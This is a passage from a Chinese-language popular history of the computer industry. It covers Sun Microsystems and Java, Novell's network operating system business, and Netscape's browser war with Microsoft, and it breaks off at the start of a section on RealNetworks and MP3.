高级程序语言，由于它不需要和硬件相关的编译器，正好适合这个需求。（注释：大多数高级语言的程序在运行前需要根据不同的计算机进行编译，然后才能运行。Java 的程序不需要编译，而是在运行时边解释边运行。这样 Java 的程序就不受计算平台限制，在互联网兴起后，特别适合在互联网上编程。）可以说 Java 诞生的时机非常好，它给太阳公司提供了一个取代操作系统公司（主要是微软）主导计算机领域的可能性。下面这张附图表示在网络时代以前，操作系统公司如何通过操作系统来统一不同的硬件，控制用户。这时的计算机工业的皇冠属于操作系统公司。\n图12-1微机时代的统治者是操作系统图12-2太阳公司的如意算盘\n而这张图，则是在互联网时代通过跨操作系统的平台控制用户的新构想。这时，控制跨操作系统平台的公司有可能成为新的王者。\n马可尼里看到了这一点。在 Java 出来以后，太阳公司便赔钱作了大力推广，仅三个月后，网景公司就决定采用 Java。由于 Java 是新一代的面向目标（Object Oriented）的程序语言，并且有不受操作系统限制、对网络功能有很强的支持、可以在本地计算机上运行远程程序的优点，加上对终端用户是免费的，Java 一下就推广开了。很快甲骨文公司、Borland 公司、SGI 公司、Adobe 公司、IBM 公司、ATT 公司和英特尔公司也加入了 Java 的同盟军。\n但是，太阳公司通过 Java 实现跨操作系统平台的梦想至今没有实现。用华尔街的话讲，就是 Java 是赔钱赚吆喝。赚到吆喝后怎么挣钱，太阳公司至今不知道。我接触过太阳公司的很多人，他们大多抱怨 Java 这种免费的东西无法挣钱。我觉得主要还是看人，设想如果 Java 当初掌握在盖茨手里，他一定能玩出无数的名堂。\n事实上，微软很眼馋 Java 这个宝贝，1996 年它不得不向太阳公司购买 Java 的授权（License）。太阳公司当初的想法是通过微软推广 Java，合同也是这样签的。但是，微软有自己的算盘，并没有依照合同向用户提供用 Java 开发的产品，而是通过太阳的技术，搞自己的类似产品。更有甚者，根据后来法庭的判定，微软误导 Java 开发者、阻碍他们开发兼容太阳公司 Java 技术的产品，以达到打压 Java 的目的。为了满足在互联网上建立网站和开发应用程序的需求，太阳搞出了相应的基于 Java 的 JSP 开发环境，微软则争锋相对，搞出了基于自己的 Visual Basic 的 ASP 技术。鉴于微软利用它在操作系统领域的垄断地位打压太阳公司，后者不得不于 1997 年 10 月向美国加州地方法院起诉微软，指控后者违反了两公司就Java技术所签定的合同，并要求微软公司停止侵犯Java兼容标准。这场官司后来升级，又和微软的反垄断官司扯到一起。2001 年，太阳公司打赢了这场旷日持久的官司，获得微软公司高达十亿美元的赔偿。但是，微软已经获得了更大的市场占有率。\n虽然 ASP 和 JSP 的授权费本身对双方的直接收入并不重要，但对计算机服务器市场格局的影响却是很大的。在九十年代末，全世界计算机服务器市场以前所未有的速度发展。这一方面是受美国和中国经济发展的带动（在过去的近二十年里，这两个国家贡献了全球 GDP 净增值的一半），另一方面，是靠全世界互联网的兴起。几乎每一个公司都必须有自己的网站，都必须购买运行网站的服务器，或者租用专业数据中心的服务器。不论是自己维护网站，还是租用数据中心，都会刺激服务器市场的极速发展。全世界网站对外的接口基本上非 ASP 即 JSP，前者使用的操作系统就是微软的操作系统，使用的服务器是 Dell 和 HP 等微机厂商的服务器；后者对应的操作系统主要是 Unix，使用的服务器则是太阳、SGI 和 IBM 等工作站和服务器厂商的产品。2000 年以前，整个服务器市场不仅发展快，而且似乎看不到饱和的迹象，甚至发生过 IBM 公司购买太阳公司服务器的荒唐事。由于两种服务器市场都能得到发展，太阳公司的业绩和 ASP 与 JSP 之争无关。但是 2000 年后，网络泡沫破碎，绝大多数不盈利的 .com 公司都关门了，存活下来的公司也急刹车似的停止了采购。服务器市场突然低迷，服务器市场成了一个零和的游戏。Windows 的服务器多卖一些，太阳公司的硬件产品销路就不畅。这样，太阳公司在短短一年间便从巅峰跌到谷底。下图是太阳公司股票在 2000 年前后的走势。\n图12-3太阳公司的股票走势（数据来源：Google Fiance）太阳公司与微软公司的操作系统和互联网平台之争失败的后果至此才看出来。更可怕的是，即使在 Unix 服务器市场，以IBM为首的基于开源 Linux 的廉价服务器超过了太阳公司的 Solaris 服务器。太阳公司前门拒狼、后门驱虎，苦不堪言。在 2003 年，Windows 服务器的市场占有率和 Unix 的服务器基本上平分秋色（当然，销售额还是后者大一些）。这一年，太阳公司亏损高达三十四亿美元，人们甚至怀疑它是否能作为一个独立的公司生存下去。太阳公司终于意识到通过开源提高 Solaris 服务器市场占有率的重要性，但是为时已晚。2006 年，在太阳公司工作了二十多年的创始人，硬件出身的马可尼里辞去了 CEO 的职务，软件出身的舒瓦茨接任。舒瓦茨进行了大规模裁员，并且卖掉了不少房地产，终于将太阳公司扭亏为盈。同时他将太阳公司从硬件制造商转变成软件开发商和服务商。太阳公司服务业收入从 2001 年的 16% 上升到 2007 年的 37%。舒瓦茨是太阳公司里面开源的创导者，在他担任第二把手 COO 时就开放了 Solaris。这些举措使得太阳公司市场占有率有所回升，同时 IT 服务给太阳公司带来了强劲的现金流。现在，太阳公司生存是没有问题了，但是它已经沦为一个二流公司，永远地失去了与微软和 IBM 分庭抗礼的机会。\n12.1.3 历史的回放\n太阳和微软之争已经成为了历史。其中的经验教训却值得科技公司总结。太阳公司首先输在人上（或者说人才体制上）。马可尼里有心打造一个跨平台的系统控制企业级的网络，但是太阳公司从上到下的执行力不足以完成这一历史使命。马可尼里绝不是庸才，但也不是天才。在马可尼里领导下的太阳公司效率之低在硅谷公司中是有了名的。太阳公司不缺乏英才，但是它平庸而大锅饭式的管理实际上是在进行劣胜优汰。太阳公司很多人离开后都比在太阳干得出色得多，其中包括 Google 的 CEO 施密特和 Juniper 的共同创始人 Bjorn Liencres 以及 Google 早期很多资深的工程师。在太阳公司担任过副总裁的 Google 前副第一总裁罗森·韦恩讲，在人才竞争中最厉害的一招是从对手那里挖到好的人，而同时必须让它把那些低于平均水平的人全留下来。不幸的是太阳公司自己替对手做到了这一点。太阳公司的很多人居然以加入微软为荣，这足以说明了太阳公司在管理上的问题。当大量杰出人才离开、同时公司业绩大幅下滑时，马可尼里没有果断地大量裁员。他总给自己一个借口，我们好不容易招到这么多人（在网络泡沫时代，找工程师是很难的），如果现在裁掉冗员，万一市场好起来，我从哪里去招人。事实上，马可尼里担心的“万一”永远没有出现。虽然后来随着美国经济的复苏，太阳公司的业务有所好转，但是至今没有回到它 2001 财政年度（2000年 7 月到 2001 年 6 月）的水平（183 亿美元的营业额）。而且，世界对信息科技行业的需求发生了变化，马可尼里储备的那些人才（很多是硬件和系统的人才）的知识结构已经过时了。\n太阳公司犯下的第二个致命错误就是没有将太阳与微软的操作系统之争和互联网开发工具之争放在和 HP、DEC 等服务器公司市场争夺之上。这导致了我们前面提到的严重后果。在太阳公司 2001 年向美国证监会提交的财报中，太阳公司在投资风险因素（Risk Factors）一章中把 IBM、惠普和康柏作为头等竞争者，写在第一段，而把微软放在次要的地位写在第二段。而且只是把它和微软的竞争作为工作站和 PC 机简单的竞争来对待。原文如下：Our competitors are some of the largest, most successful companies in the world. They include International Business Machines Corporation (IBM), Hewlett-Packard Company (HP), Compaq Computer Corporation (Compaq), and EMC Corporation (EMC).\nWe also compete with systems manufacturers and resellers of systems based on microprocessors from Intel Corporation (Intel) and the Windows family of operating systems software from Microsoft Corporation (Microsoft). These competitors include Dell Computer Corporation (Dell), HP, and Compaq, in addition……2005 年，太阳对微软有了新的认识，把它放在了和 IBM 等服务器公司同一段里，但是仍然把系统制造商 IBM 和 HP 写在第一句话中，微软写在二句话中。今年，也就是舒瓦茨上任的第二年，太阳公司终于意识到微软的威胁，把微软写到了和 IBM 公司同一句话中。并且在接下来，它首先提到了微软的操作系统和 Linux 操作系统。然后才提到计算机服务商。它提到 IBM 和惠普时，不再把它们作为计算机制造商的竞争对手而是作为服务商。原文如下：Our competitors are some of the largest, most successful companies in the world. They include IBM, Dell, HP, EMC, Fujitsu, HDS, the Fujitsu-Siemens joint venture, Microsoft and Intel. We compete with (i) systems manufacturers and resellers of systems based on microprocessors from Intel, the Windows family of operating systems software from Microsoft and the Linux family of operating systems software from Red Hat and others, as well as (ii) companies that focus on providing support and maintenance services for computer systems and storage products.\n但是，也就是在这一年，基于 Windows 的服务器市场的销售额终于超过了 Unix 的销售额（177亿美元对 175 亿美元），而且这个趋势至今没有逆转。\n如果太阳公司在十年前能意识到操作系统、互联网开发工具和IT服务业的重要性，今天的计算机工业界可能就是微软、IBM 和太阳三足鼎立的局面。十年前，Unix 操作系统在企业级用户中的优势如此巨大，连微软都不得不开发一个自己的 Unix（十六位微机上的 Lenix）。当 Unix 的工作站公司和相关的软件和硬件公司如雨后春笋一样在全世界出现时，它们需要一个领袖和微软竞争，而太阳公司是最佳选择。太阳公司的正确做法是联合、兼并和扶助大大小小的 Unix 软硬件公司，同时开源 Solaris，而不是打压其他 Unix 公司。也许 Google 从太阳的失败中吸取了教训，和以往大多数网站都希望其它网站关门自己独大不同，Google 一直在帮助其它网站共同发展，分享利润，它的同盟军包括 AOL、Ask Jeeves 在内的上百万个网站和网上销售商，这样它在和微软的竞争中至今处于不败之地，因为后者不是简简单单地与 Google 竞争而是与半个互联网业在竞争。如果太阳公司能做好 Unix 软硬件公司的领袖，那么今天的企业级计算机市场很可能就是太阳的天下了。\n如果说不得不和微软竞争是太阳公司的不幸，但是后者并非没有过机会。遗憾的是，太阳没有抓住一瞬即逝的机会，终于功败垂成。\n这正应了茨威格的话，“在命运降临的伟大瞬间，市民的一切美德——小心、顺从、勤勉、谨慎，都无济于事，它始终只要求天才人物，并且将他造就成不朽的形象。命运鄙视地把畏首畏尾的人拒之门外。命运——这世上的另一位神，只愿意用热烈的双臂把勇敢者高高举起，送上英雄们的天堂。”\n12.2 Novell公司\n今天的年轻人可能很多都没有听说过 Novell 公司，但是它曾经和太阳公司一样，一度有希望在操作系统方面和微软抗衡，但是终因时运不济，败在了微软手下。\n12.2.1 局域网的微软\n要谈 Novell 公司，不可避免地要先介绍 3COM 公司。\n在微机出现的前几年，用户大多是对立用户——彼此的计算机互不通消息。个人微机只不过是为了满足个人娱乐（比如游戏）、学习、文字处理、日常管理和简单的工业控制等需求。在商业企业中（比如银行）使用的联网的计算机系统几乎无一例外是由中央主机（Main Frame）加外围终端构成——所有计算都是由中央主机完成，而外围终端不过是输入和显示设备。中央主机采用分时的操作系统，同时为众多终端用户服务。在八十年代初期以前，没有人打算用微机取代大型计算机系统。\n但是，就在 1979 年，发生了一件当时没有引起人们关注，但对今后计算机发展有深远影响的事。那一年，施乐公司举世闻名的帕洛阿图实验室（Xerox PARC）的几个发明了以太网（Ethernet）的科学家创办了 3Com 公司，开发出以太网的适配器（Adaptor），俗称网卡。虽然 3COM 最早是为 IBM 和 DEC 等公司的大小型中央主机设计网络适配器，但是，随着微机的普及，3COM 公司很快就将生意扩展到主机领域。\n到了八十年代中期，IBM-PC/AT 及其兼容的个人微机在很多任务中已经能取代原有 DEC PDP 和 VAX 等小型机的地位，而且微机的性价比比小型机高一个数量级以上。如果能将微机联网，共享数据和硬件资源，它们就可以取代小型机系统。遗憾的是，微机最初设计时根本没有考虑资源共享，网络功能是零。3COM 公司的以太网服务器和适配器弥补了微机的这个不足，解决了微机的联网问题。以前的 VAX 或者 HP 小型机系统基本上是下图的架构： 图12-3早期微机联机图\n资源和数据是集中管理，所有的计算、存储和打印由小型机完成。它的好处是信息是共享的，但是成本非常高，对于一个几十人的小型企业，基本上用不起 VAX 小型机加终端的计算机系统。我记得在八十年代中期，一个 20～40 个用户的 VAX 系统需要花费近二百万人民币。除了硬件的投入，小型机系统还需要专门的机房和管理人员，这些管理人员必须经过硬件公司的培训。虽然小型机速度不慢，但是它的计算速度摊到每个用户上并不快。小型机是整个系统的中心，如果它出现了任何问题，这个系统都无法工作。微机联网后，在很多时候可以代替小型机，它的架构是这样的： 图12-4微机联网结构图\n在这样一个被称为微机局域网（PC LAN）的系统中，有一台网络服务器，它通常是一台高性能的微机，当然也可以是小型机和工作站，它主要是用来管理网络和存储共享的数据并为微机之间交换数据作为桥梁。计算基本上是在微机上完成，部分不愿意共享的文件也可以保存在本地微机上。由于每台微机有自己的独立性，网络服务器即使出了问题，微机也可以单机工作。虽然每台微机不如小型机快，但几十台微机的总计算能力超过小型机。而且，能够完成同样功能的系统，微机局域网相比之下要便宜得多，在八十年代中期，这样一个 40 台微机的系统硬件投入只有六七十万人民币。而且，微机系统不需要专门的管理员，运营成本也低。总的来讲这种基于微机局域网的计算机系统相比小型机来说，在大多数应用中优点多于缺点。所以，从八十年代中期起，微机局域网代替小型机系统成为不可逆转的趋势。（这也是 DEC 公司后来关门的原因。）3COM 公司虽然搞出了微机局域网，但是该公司目标不明确，它从网络适配器、网络服务器到网络操作系统都做。这也许是因为它创立于八十年代初，那时 IT 行业最挣钱的还是硬件，所以 3COM 公司实际是以硬件为主，软件为辅。即使当它在网络上失败以后，它仍然习惯性地以硬件为主，买下了生产掌上个人助理系统 Palm Pilot 的母公司 US Robotics。由于以太网的标准是公开的，它的适配器没有什么难做的，谁都可以做。而以太网的网络服务器实际上就是一个高端 PC，任何 PC 厂商都可以做，因此，在 3COM 公司出现后，各种兼容的网卡和网络服务器就出现了，这个时候微机局域网市场像微机市场一样混乱而且竞争激烈。其实，微机局域网中最关键的技术是网络操作系统。在这方面也需要一个类似微软的公司来统一它，Novell 公司便应运而生了。\nNovell 公司也是诞生于 1979 年。但是它成为网络公司并且改名为 Novell 是 1983 年的事，这时，3COM 已经是局域网方面的大哥大了。Novell 公司进入网络领域后目标一直很明确——专攻操作系统。如果说 3COM 在微机局域网领域的地位有点像苹果在微机领域中的地位，那么可以把Novell 对应于微软。\nNovell 公司搞了一个叫 NOS（Network Operating System）的操作系统，对应于微软的 DOS。它采用和微软 MSDOS 同源的 DRDOS，因此它的网络操作系统实际上可以完全独立于微软的软件运行，同时又和微软的 DOS 兼容。虽然 Novell 后来买了一家网卡公司也做点硬件，但是它的精力一直放在网络操作系统上。随着 Novell 的网络操作系统在微机局域网上越来越流行，它处在了一个和微软同样的有利位置：不管用户使用哪一个牌子的 PC 和网络硬件，都可以使用 Novell 的操作系统。Novell 网络操作系统不仅自己安装十分容易，而且建立一个局域网的工程也简单到非专业人员看看说明书也可以做。一个没学过计算机的人看着别人干两次就会了。读者如果曾在九十年代初在中关村转过一两圈，就能记起当时任何一家两三人的小公司都会在自己的业务上写上“网络安装”等字样。很快，Novell 的操作系统在局域网上就像 DOS 在微机上一样普及。从八十年代到九十年代初期，Novell 公司成长得一番风顺，不仅很快超过了 3COM 公司，到 1990 年，它几乎垄断了整个微机局域网操作系统的市场，营业额接近微软（九亿美元对微软的十一亿美元）。因为微机联网已经成为了一种趋势，而且微机的局域网比基于Unix服务器、工作站和 TCP/IP 协议的网络在中小企业中更有前途，Novell 公司很有可能成为另一个微软——它可能垄断企业级的操作系统。在接下来的五年中，Novell 仍然靠着浪潮的惯性，以每年 20% 的速度增长到 1995 年。那一年 Novell 的营业额超过二十亿美元，相当于微软同年 40% 的水平。现在回过头来看，Novell 这五年的业务虽然不断增长，但是，它的进步还是远远落后于微软。\n12.2.2 操作系统之败\n显然，微软不可能看着 Novell 做大，但是，直到 1994 年以前，它们的竞争并不引人注意。由于微软当时的核心业务还是以个人微机的操作系统和办公软件为主，它和 Novell 的业务不是太重合，它们之间的共同利益甚至大于它们的矛盾。在当时，一个企业在安装网络时有两个主要选择，基于各个版本的 UNIX 和 TCP/IP 协议的局域网，或者基于 Novell 的 NOS 的局域网。前者在用户看来是 UNIX，后者是 DOS。虽然 Novell 采用的是 DRDOS，但是用户使用起来和微软的 MSDOS 一模一样，对程序开发者来讲也是一样。Novell 无疑是在帮助微软和 UNIX 争夺企业级的市场。当时，微软在网络操作系统上毫无可圈点之处，它甚至临时性地选择了 IBM 的 OS/2 LAN Server 来抵消 Novell 在网络上的优势，但是 OS/2 LAN Server 从来就没有成为过一种主流的网络操作系统。\n1993 年和 1994 年，正如日中天的 Novell 进行了两次对公司业务颇有影响的并购。第一次是从 ATT 购买了 UNIX 的版权，显示 Novell 进军 UNIX 企业市场的决心，从那以后直到今天， Novell 的网络操作系统有了服务于 UNIX 工作站的版本。但是，Novell 没有直接推 UNIX，说明 Novell 的技术路线方向明确，并没有像一些失败的公司那样左右摇摆；第二件事是收购被微软打垮的字处理软件 Word Perfect，和 Borland 公司的一个制表软件，表明了 Novell 进军办公软件市场的决心。后一次收购后来一直有争议，很多人认为 Novell 不务正业（网络操作系统），胡乱扩张，导致它在网络操作系统上失去了对微软的优势。我个人倒觉得 Novell 的做法并没有大错。当年，Novell 在微机局域网操作系统市场上已经占了百分之七十几的份额，按照诺威格宿命的讲法，无法再让市场占有率翻番了，必须开拓新的成长点。从企业级操作系统进入企业级办公软件是一件很自然的事。事实上，微软的 Office 办公软件从企业中挣的钱一直比从个人身上挣的钱多，这证明 Novell 的切入点是对的。今天的 Google 也是由在线服务进而进入在线办公软件市场。只是，当微软有了字处理软件 Words 和制表软件 Excel 以后，市场上很难再容纳第二家办公软件。不仅是 Novell，太阳公司和IBM都试图进入企业的办公软件市场，但都被微软挡在了门外。\n从 1995 年起，微软和 Novell 之争起了质的变化。微软一年前推出的 Windows NT 对 Novell 的影响开始显现出来了。用户已经从 DOS 转向了 Windows，Novell 的操作系统对微软的 Windows NT 几乎没有优势可言。很难想象一个局域网在其网络服务器上安装 Novell 的操作系统，同时在联网的微机上使用 Windows 。显然从服务器到微机一律采用微软的 Windows 是更好的办法，这时胜利的天平开始向微软倾斜，并成为不可逆转的趋势。\n1995 年以后，Novell 仍然不断在提升自己的产品，并且在技术上做得很好。它的网络操作系统支持所有主要的计算机（运行 Windows 的 PC、UNIX 工作站和苹果的 PC 以及 IBM 的大型机），为采用多个厂家计算机的复杂的网络系统提供了高性能的统一的平台。Novell 的操作系统既可以用专用服务器，也可以用任何一种PC机作为服务器，而且它支持无盘工作站（和微机），适合经费不宽裕的学校的教学实验室和小企业。但是这些特色都无法抵消微软在微机操作系统上的优势。事实上，没有多少企业需要将五花八门的计算机连起来，因为大部分企业在建立自己网络时都会有一个规划。无盘工作站随着硬件价钱的降低变得越来越没有人要。微软只是老老实实地将微机联好，这就解决了百分之八九十的问题，微软吃住了这百分之八九十的市场就能统治企业级网络操作系统了。\n与其它和微软竞争的失败者相比，Novell 在和微软的竞争中几乎没有犯错误。如果说它有什么不足的话，可能在执行力上比盖茨领导的微软有所欠缺。但是，胜利者只能有一个，只要微软垄断微机操作系统，Novell 在操作系统上输给微软便是注定了的。Novell 无疑知道微软的垄断是阻碍它发展的根本原因，因此在 2000 年美国司法部对微软反垄断的官司中，它是最重要的证人。 2000 年初审判决决定将微软一拆为二，Novell 原本可以喘口气，但是，2001 布什上台后为微软翻了案，Novell 从此掉进了永无天日的深渊。虽然后来 Novell 把 Linux 介绍给了它 NetWare 的用户，并把 NetWare 与 Linux 结合起来，总算活了下来，但是已经在网络市场上降到二流的地位。NetWare 从企业的视野中消失，只是时间的问题。\n12.3 网景公司（Netscape）\n在科技工业史上乃至整个工业史上，能超过微软发展速度并盖过它的风头的公司屈指可数。能否超越微软，哪怕暂时地超越微软也就成为了伟大公司的试金石。网景公司是少数曾经盖过微软风头的公司之一。\n12.3.1 昙花一现\n网景公司和微软网络浏览器（Web Browser）之争已经成为 IT 史上最为人津津乐道的话题，我们只在这里简要地提一两句，就不再详述了。\n九十年代，互联网开始兴起，急需一个通用的网络浏览器，1994 年安德森和克拉克成立了网景公司并于同年推出了图形界面的网络浏览器\"网景浏览器\"软件。“网景浏览器”一推出就大受欢迎，不到一年就卖出几百万份。1995 年，仅成立了一年的网景公司就挂牌上市了，在华尔街的追捧下，网景的股票当天从 28 美元涨到 75 美元，以后一直上涨，速度超过了早期的微软。虽然网景公司已经被炒得很红火，盖茨还根本没有注意到网络浏览器的重要性，虽然他的顾问们一再提醒他。也许，盖茨最初只是把浏览器当成了一种一般的应用软件，这样的话微软当然不用太在意。相反，华尔街倒是对微软在互联网领域犹豫不前表示不满。同年 11 月，高盛公司将微软的股票从买入下调到持有，微软的股票应声而下。\n当同事们再次将网景浏览器展示给盖茨时，盖茨意识到了它的重要性。微软之所以得以控制整个微机行业，在于它控制了人们使用计算机时无法绕过的接口——操作系统。现在，网景控制了人们通向互联网的接口，这意味着如果微软不能将它夺回来，将来在互联网上就会受制于人。盖茨意识到微软已经在这个领域落后了，他首先想购买网景，但是被网景拒绝。微软于是马上派人去和网景公司谈判合作事宜，而盖茨一直在遥控谈判。微软的条件苛刻，包括注资网景并且进入董事会。网景现在面对两难的问题，如果答应微软从此就受制于人，而且以前和微软合作的 IBM 和苹果都没有好结果，反之，不答应微软，就可能像莲花公司和 WordPerfect 一样面临灭顶之灾。最后，网景选择了和微软一拼，因为它觉得至少目前它还有技术和市场上的优势。后来证明这种技术上的优势根本不可靠，这也是我将技术排在形成垄断的三个条件之外的原因。在微软方面，它也正式向网景公司宣战。\n1995 年 12 月 7 日，日本偷袭珍珠港的周年纪念日，盖茨宣布向互联网进军。盖茨把微软当时的处境比成被日本打败的美国舰队。盖茨通知很多工程师，不管做到哪个阶段，立即停掉手里的工作，然后全力投入微软浏览器IE的开发。盖茨的这种魄力我以后只在佩奇和布林身上又看到过一次，在世界上找不到第三次。很快，微软的 IE 浏览器就问世了，但是功能上远不如网景。盖茨动用了他的杀招—和 Windows 捆绑，免费提供给用户。由于在技术上和网景公司的 Netscape 差距太大，IE1.0 和 2.0 在市场上对网景的威胁还不是太明显。但是IE的成长率实际已经超过 Netscape 了。\n1997 年是个转折年。那年十月，微软发布了性能稳定的 IE4.0。不知是为了重视硅谷的用户和人才，还是为了向网景示威，发布会在远离微软总部的硅谷重镇旧金山举行。当天夜里，微软的员工还跑到网景公司偷营劫寨，将一块大大的IE标识放到了网景公司总部楼前的草坪上。这种恶作剧一般是十几二十岁的工科大学生玩的把戏，比如 MIT 的学生曾经在哈佛和耶鲁的橄榄球赛场中爆出 MIT 的标志，康奈尔的学生曾经在万圣节把一个几十斤重的大南瓜插到了学校塔楼的尖顶上。一个大公司的员工玩这种恶作剧还很少，难怪网景公司的发言人也给逗乐了。\nIE4.0 非常接近当时的 Netscape 了，在一些性能上甚至各有千秋。这时捆绑的作用突然间显现出来，用户不再下载即使是免费的 Netscape 了。网景就被垄断了操作系统的微软用这种非技术、非正常竞争的手段打败。微软终于取得了从用户到网络的控制权，从此，微软帝国形成，再也没有一个公司可以在客户软件上挑战微软了。盖茨剩下的唯一一件事就是去向美国政府司法部解释清楚他的行为的合法性。\n虽然对微软反垄断调查早在 1991 年就开始了，但是这一次美国司法部动了真格。1991 年的那一次，联邦贸易委员会发现微软开始通过它在操作系统的垄断地位进行非正当竞争，但是该委员会最后在对微软是否有滥用垄断优势非正当竞争一事表决时，以二比二的投票没得出结论，案子也就不了了之。这一次，微软违反反垄断协议的证据确凿，因为根据 1994 年微软和美国司法部达成的和解协议，微软同意不在 Windows 上捆绑销售其它的微软软件。现在，微软在 Windows 中捆绑了 IE。网景公司当然不依不饶。但是，盖茨狡辩说 IE 不是一个单独的软件，而是 Windows 的一个功能。虽然对于用户来讲，是单独软件还是一个功能在使用上没有区别，但是在法庭上，这就决定了一场世纪官司的胜败。\n美国司法部状告微软垄断行为的反垄断诉讼正式拉开序幕。1997 年，美国参议员举行了听证会，盖茨和网景的 CEO 巴克斯代尔、太阳公司 CEO 马可尼里、DELL 的创始人戴尔等 IT 领域的巨头出席作证。会上，当盖茨反复强调微软没有在软件行业形成垄断时，巴克斯代尔说，请在座的各位中没有用微软产品的人举手。整个会场没人举手。巴克斯代尔再次强调，请按我说的做，结果还是没人举手。巴克斯代尔说，先生们，看到了吧，百分之百，这就是垄断，这足够说明问题了。\n很遗憾，网景公司虽然得到了大家普遍的同情，但是，它还没有等到法院对微软的裁决结果下来就支撑不下去了。几乎所有人都认为，网景的失败是不可避免的。\n多年后，佩奇在总结网景教训时为网景找到了一个可以在微软垄断的压力下生存的办法，虽然是马后炮，但是应该是有效的。\n12.3.2 佩奇的解决办法\n在 Google 上市以后，华尔街一度担心 Google 是否会重复网景公司的先例，最终被微软靠捆绑手段击败。Google 的共同创始人拉里.佩奇在一次会上谈到了这个问题，他的观点颇有新意而又切实可行。\n佩奇的原话我已经记不清了，大意是讲，几乎所有的人都认为网景公司在微软捆绑推广自己的浏览器IE后，注定难逃破产的厄运。当然，微软这种非常规的竞争方法很厉害，但是，网景公司也有自己的问题，否则它有可能在微软的压力下生存并发展。网景公司在它的浏览器畅销到网络用户时，没有居安思危，它没有注意去控制互联网的内容，这样一来它失去了保护自己和反击微软的可能性。本来它最有可能成为雅虎。\n这里我根据我的理解，解释一下佩奇的话。首先网景没有居安思危。让我们先回到 1995 年。当微软开始开发自己的浏览器时，网景公司并没有意识到这件事对自己颠覆性的威胁。这也难怪，因为以往微软击败 WordPerfect 和莲花公司时，只是利用了自己拥有 Windows 的优势，而没有赤裸裸地在商业竞争中采用免费的倾销方式。网景当时在技术上明显领先于微软，因为微软早期的 IE1.0 和 2.0 简直就像是大学生做的课程设计，有无数的 Bug，经常死机，兼容性差，还有很多安全性漏洞。即使是在微软抢走了大部分浏览器市场的头几年里，网景的 Netscape 仍然比微软的好一些。网景公司当时利润率很高，它认为即使将来打价格战，它也未见得输（它没想到微软把售价压到零）。\n事实证明，网景在技术上的优势是根本靠不住的。我们在前面的章节中已经多次介绍了技术领先的产品在商业上失败的例子。网景公司可能没有想到，用户对于网络浏览器根本没有忠诚度可言——对大多数用户来讲，只要给他一个免费的、预装的浏览器，就够用了。在这种情况下用户的流失，要比在一般商业竞争中快得多。1997 年，当微软员工将IE的标识放到网景公司门前时，网景公司员工马上回敬了微软，把它换成了自己的标识，并且写上网景 72、微软 18，表示两个公司当时的市场份额。\n图12-5网景和微软市场份额变化趋势图但是，网景这个四倍于微软的市场占有率如此不可靠，以至于仅仅一年半以后，微软就超过了网景公司的市场份额。\n第二，网景公司的商业模式还停留在卖软件上。这是微软成功的商业模式，但是不能直接套用到别的公司头上。事实上，当 Windows95 出来以后，就再也没有出现任何一个世界级的基于 PC 机的软件公司。现在 PC 世界里仅存活下来的几个世界级的软件公司赛门铁克（Symantec）、Adobe 和 Intuit 都出现在 Windows95 以前（1982 年、1987 年和 1988 年）。当微软垄断了微机操作系统以后，就没有像样的软件公司上市并生存下来。原因很简单，如果在微机领域还存在全球性的机遇，那么微软一定不会放过并且将挤垮全部的主要竞争者（Meaningful Players）。网景公司要想逃脱这一厄运，就必须改变商业模式。在 1995 年，没有哪家公司比网景更有希望成为今天的雅虎。\n回顾 1995 年，全世界互联网的内容虽然并不多，但是居然没有一个公司将互联网上杂乱无章的内容组织起来。雅虎居然能够靠手工组织和索引互联网的内容运作，可见互联网之小、组织互联网内容之容易。当网景公司搞出 Netscape 浏览器时，杨致远和费罗还在学习 HTTP 的协议。即使最初网景看不到索引和组织互联网内容的重要性，但是到 1994 年底，当雅虎的流量首次达到一百万次访问时，网景也应该意识到这一点了。如果那时候网景公司走门户网站（Portal）之路，没有人能阻挡它成为后来的雅虎。也许是浏览器卖得太好了，网景没有采取行动。当雅虎公司成立后，网景公司多多少少看到了雅虎的价值，便为雅虎提供了服务器，却没有去高价收购它（或者自己搞一个）。网景公司甚至没有意识到当初它自己浏览器缺省的启动页面设置的价值，轻易就把它给了 Yahoo，以至于用户一开机就知道 Yahoo，轻易养大了后者。我不知道如果时光倒流，网景的巴克斯代尔是否会将公司打造成门户网站，但是，如果让今天的佩奇接手当年的网景，他一定会的。\n第三，和微软这样实力雄厚、雄心勃勃而执行力奇高的公司竞争，必须有办法顶得住微软的轮番进攻，并且有二次、三次的反击能力。除了上面提到的抢先控制互联网的内容外，另一个主要的方法就是联合PC制造厂商预装 Netscape。这一商业手段的可行性后来已经被 Google 和雅虎证明了。一年前，微软在新的IE中将MSN的搜索设定为缺省搜索引擎，试图在再次利用捆绑的优势挤垮雅虎和 Google。但是，雅虎和 Google 防到了微软这招，分别在世界前两大微机厂商惠普和戴尔的电脑出厂前预装了自己的搜索工具条，在一定程度上抵消了微软捆绑搜索的影响。十几年前，在微机中预装软件的成本比现在还低很多，而网景的浏览器当年是最受欢迎的 PC 软件之一，因此网景公司是不难说服微机厂商付费预装它的浏览器的。\n第四，网景公司虽然在抓用户，抓的却是买网景公司软件的用户而不是真正使用互联网的用户。当时正处在互联网发展的初期，一个免费的邮箱对互联网用户有很大吸引力。Hotmail 就是靠这一点，便取得了当时互联网全部流量的一半，这是 Hotmail 的创始人杰克.史密斯亲口对我讲的。1997 年，微软以四亿美元的价钱收购 Hotmail 时，它已经有了近千万的用户，是当年最大的互联网用户群。如果网景公司能先下手为强，收购 Hotmail，它在日后和微软竞争的力量对比上就会发生质的变化。\n作为网民上网必不可少的浏览器的发明者，网景公司本来可以成为互联网的领头羊，就像 2000 年的雅虎和今天的 Google。再不济也可以像 Adobe 和赛门铁克等公司那样成为一个领域的主要厂商（Major Player）。但是，网景公司只辉煌了短短的几年便从人们的视线中消失了。网景公司的衰亡固然是微软垄断的造成的，但是，它也有免于厄运的机会，只是自己没有把握好。\n网景公司后来被美国在线收购，在互联网上几乎没有任何影响力了。但是它成为了 Google 的老师，而它的这个学生避免了重蹈覆辙。从这一点讲，网景公司也是薪尽火传了。\n12.4 Real Networks\n当苹果公司的iPod以高科技精品的面貌上市，并风靡全球时，便有行家指出iPod其实并不是什么高科技新品，而是一个翻版的MP3播放器。MP3音乐和播放器大家都很熟悉，它们在iPod出现前好几年就有了，而且最初搞MP3音乐的公司也不是苹果。\nMP3是当今在互联网上传播音乐的最通用的媒体格式。它的历史十分\"悠久\"，可以追述到1979年ATT贝尔实验室搞的一些语音压缩算法。到了1991年，德国弗劳恩霍夫（Fraunhofer）应用研究所和ATT贝尔实验室基于上述研究成果，提出了一种将高保真激光唱盘质量的音乐做成有损失压缩的音频压缩标准Audio Layer 